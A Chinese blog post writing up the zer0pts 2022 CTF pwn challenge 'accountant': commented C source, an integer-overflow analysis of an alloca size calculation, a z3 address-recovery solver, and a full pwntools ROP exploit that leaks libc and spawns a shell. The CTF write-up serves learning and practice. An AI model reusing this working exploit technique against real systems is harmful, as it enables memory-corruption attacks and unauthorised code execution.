zer0pts2022_accountant

好久没发博客了,一方面因为复现虎符实在是自闭了,一个周末怎么看都没看懂那道vdq和gogogo,另一方面做的buu题目也不是很有价值。这里记录一下复现的2022zer0ctf的accountant。感觉这里的题目还是对我这种菜鸡比较友好的。

代码审计

代码主要实现了一个首先读取用户输入的商品个数,其次逐个读取用户的price和quality输入,加到对应的商品属性上面,在用户输入完成之后,将两者乘起来输出。并且根据用户输入的是否修改相应属性。主要结构体item为。

1
2
3
4
5
// 8 byte
typedef struct {
int32_t price;
int32_t quantity;
} Item;

在修改数据和输入数据时,对于下标都有严格的限制。下标溢出基本无法做到。

全部代码

带有了自己的一点注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Credit to Apple Inc.
// https://opensource.apple.com/source/cvs/cvs-44/cvs/lib/allocsa.h.auto.html
#define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL)

typedef struct {
int32_t price;
int32_t quantity;
} Item;

ssize_t get_value(const char *msg) {
char buf[32];
printf("%s", msg);
if (read(0, buf, 31) <= 0) {
puts("I/O Error");
exit(1);
}
return strtol(buf, NULL, 0);
}

void input_data(Item *items, int i) {
printf("Item %d:\n", i+1);
items[i].price = get_value(" Price: $");
items[i].quantity = get_value(" Quantity: ");
}

void input_all_data(Item *items, int n) {
for (int i = 0; i < n; i++) {
input_data(items, i);
}
}

int64_t calc_total(Item *items, int n) {
int64_t total = 0;
int i = n - 1; // 如果传入n是0,得到-1,但是不能读libc
do {
total += items[i].price * items[i].quantity; // if n=0 is input, then i =-1, we can get some info
} while(i-- > 0);
return total;
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(180);

Item *items;
int use_malloc = 0;
ssize_t n = get_value("Number of items: "); // 这里可以写一个比较大的数字,0x2000000000000000,因为n是long类型的
if (n <= 0) {
puts("Invalid value");
return 1;
}

if ((items = safe_alloca(n * sizeof(Item))) == NULL) { // 直接在栈上分配空间,可以溢出
use_malloc = 1;
if ((items = calloc(n, sizeof(Item))) == NULL) {
puts("Memory Error\n");
return 1;
}
}

input_all_data(items, n); // 但是这里对n又强制转换为int
printf("Total: $%ld\n", calc_total(items, n)); // 这里似乎是唯一能泄露的地方,必须泄露至少code_base来返回,最好泄露Libc

if (get_value("Would you like to fix data? [1=Yes] ") == 1) {
while (1) {
off_t i = get_value("Index to modify (-1 to quit): ");
if (i < 0 || i >= n)
break;
else
input_data(items, i); // 这里可以越界写(真是太难发现了)
}
printf("Total: $%ld\n", calc_total(items, n));
}

puts("Have a nice day at work!");

if (use_malloc)
free(items);
}

漏洞挖掘

zer0pts好的一个地方就是所有pwn都给了源码。这就是实力啊,给了源码你也做不出才是难。

首先去题目里面给的链接看看本题中使用到的safe_alloc是什么意思。发现是一种在栈上分配alloc出来的内存而不是在堆上的方式。唯一一个使用到的地方如下。

1
2
3
4
5
6
7
8
9
#define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL)

if ((items = safe_alloca(n * sizeof(Item))) == NULL) { // 直接在栈上分配空间
use_malloc = 1;
if ((items = calloc(n, sizeof(Item))) == NULL) {
puts("Memory Error\n");
return 1;
}
}

这里的sizeof(item)是8。可以看到抽象而言,我们能够分配栈上任意长度的数据,后续还可以写。有想到一种方法就是分配的比较小,但是能写的比较多,也就造成了常见的栈溢出。但是一开始看了半天,也没觉得这里能溢出。因为一旦n比较大,就变成堆上分配了。

溢出

看了队里大佬的wp,才发现这里存在一个整数溢出,可以导致栈分配空间变小。

1
2
3
4
5
6
7
Item *items;
int use_malloc = 0;
ssize_t n = get_value("Number of items: "); // 这里可以写一个比较大的数字,0x2000000000000000,因为n是long类型的
if (n <= 0) {
puts("Invalid value");
return 1;
}

注意这里n如果写的比较大,例如0x2000000000000000,结合sizeof(item)是8,在safe_alloca中乘起来的结果将会是0!但是由于ssize_t是long类型的,因此n依然会被保留。通过这个我们能够任意栈溢出。可以考虑直接ROP。

但是如何泄露地址?我们只有一次输出机会。

1
2
input_all_data(items, n); // 但是这里对n又强制转换为int
printf("Total: $%ld\n", calc_total(items, n)); // 这里似乎是唯一能泄露的地方,必须泄露至少code_base来返回,最好泄露Libc

如果直接写0x200000000000000,通过调试,可以看到下面的结果。

image-20220330084848016

是0x486006bc*0x000055e3。也就是一个堆地址。但是输出是这两个的乘积(calc_total)。

1
2
3
4
5
6
7
8
int64_t calc_total(Item *items, int n) {
int64_t total = 0;
int i = n - 1; // 如果传入n是0,得到-1,但是不能读libc
do {
total += items[i].price * items[i].quantity; // if n=0 is input, then i =-1, we can get some info
} while(i-- > 0);
return total;
}

约束求解

这里也是通过这道题重新学习了一下z3的使用,可以用约束求解的方式解决此问题。加上限制堆地址0x5500到0x56ff,并且末三位已知,并且乘积已知,可以很容易通过z3求解堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def solve(total):
high = BitVec("high",16)
mid = BitVec("mid",20)
low = BitVecVal(0xb6c,32)
solver = Solver()
solver.add(high>=0x5500)
solver.add(high<=0x56ff)
mid_low = (ZeroExt(12,mid)<<12)+low
solver.add((mid_low*ZeroExt(16,high)) == total)
solver.check()
m = solver.model()
mid_ans = int(str(m.evaluate(mid)))
high_ans = int(str(m.evaluate(high)))
# print("mid: %x" % mid_ans)
# print("high: %x" % high_ans)
ans = 0
ans = ans + (high_ans << 32)
ans = ans + (mid_ans << 12)
ans = ans +0xb6c
print("ans: %x" % ans)
return ans

有了堆地址,直接ROP就能getshell了。后面十分简单。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
from z3 import *
filename="./chall"
libc_name="./libc-2.31.so"
io = process(filename)
# context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def debug():
cmd = ""
# cmd +="brva 0xA5B\n" # break at calling input_all_data(items, n);
# cmd +="brva 0xB3D\n" #break at alloca ,which cause overflow
cmd +="brva 0x0C5F\n" # break at ret
# cmd +="brva 0xA85\n" # break at calc_total, to see how to leak
# cmd +="brva 0xA43\n" # break at write stack
gdb.attach(io,cmd)


def solve(total):
high = BitVec("high",16)
mid = BitVec("mid",20)
low = BitVecVal(0xb6c,32)
solver = Solver()
solver.add(high>=0x5500)
solver.add(high<=0x56ff)
mid_low = (ZeroExt(12,mid)<<12)+low
solver.add((mid_low*ZeroExt(16,high)) == total)
solver.check()
m = solver.model()
mid_ans = int(str(m.evaluate(mid)))
high_ans = int(str(m.evaluate(high)))
# print("mid: %x" % mid_ans)
# print("high: %x" % high_ans)
ans = 0
ans = ans + (high_ans << 32)
ans = ans + (mid_ans << 12)
ans = ans +0xb6c
print("ans: %x" % ans)
return ans

def my_rop(payload):
i = 0
base = 11 # offset from calloced to stack ret addr
io.recvuntil('Would you like to fix data? [1=Yes] ')
io.sendline('1')
while(i+base<len(payload)+base):
io.recvuntil('Index to modify (-1 to quit): ')
io.sendline(str(i+base))
io.recvuntil(' Price: $')
io.sendline(str(payload[i]&0xffffffff))
# success("time " + str(i) + " " + "%08d"%(payload[i]&0xffffffff))
io.recvuntil(' Quantity: ')
io.sendline(str(payload[i]>>32))
# success("time " + str(i) + " " + str((payload[i]&0xffffffff00000000)>>32))
i = i+1
io.recvuntil('Index to modify (-1 to quit): ')
io.sendline('-1')

# debug()
io.recvuntil('Number of items: ')
io.send('0x2000000000000000')
io.recvuntil('Total: $')
value = int(io.recvuntil('\n',drop=True))
success("get value: " + hex(value))
code_info = solve(value)
code_base = code_info - 0x000b6c
success("code_base: " + hex(code_base))

# ROP --- getlibc
# puts(puts@got)
payload = []
pop_rdi = 0x0000000000000d53 + code_base
puts_got = elf.got['puts'] + code_base
puts_plt = elf.plt['puts'] + code_base
main = 0xAAD+code_base
success(hex(pop_rdi))
# pause()
payload.append(pop_rdi)
payload.append(puts_got)
payload.append(puts_plt)
payload.append(main)

# debug()
my_rop(payload)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_info - libc.symbols['puts']
success("libc_base: " + hex(libc_base))

io.recvuntil('Number of items: ')
io.send('0x2000000000000000')
io.recvuntil('Total: $')
# ROP --- getshell
binsh = libc.search(b"/bin/sh").__next__() + libc_base
payload = []
payload.append(pop_rdi)
payload.append(binsh)
payload.append(0x00000000000007be+code_base) # ret to make stack average
payload.append(libc_base + libc.symbols['system'])
# debug()
my_rop(payload)


io.interactive()

image-20220330231054523

后记

这个题代码量很少,但是只有9个队伍做了出来,说明漏洞点还是十分隐蔽。关键的premititive是抓住我们能够在栈上分配可控空间这一点,这一点十分危险,并且可能和整数溢出关系很大。因为栈上一般都是根据用户输入分配空间(如果可控)。并且能够想到用brute-force或者z3解决地址泄露的问题。是一道简短但是不可多得的好题。

文章目录
  1. 1. 代码审计
    1. 1.1. 全部代码
    2. 1.2. 漏洞挖掘
    3. 1.3. 溢出
    4. 1.4. 约束求解
  2. 2. exp
  3. 3. 后记
|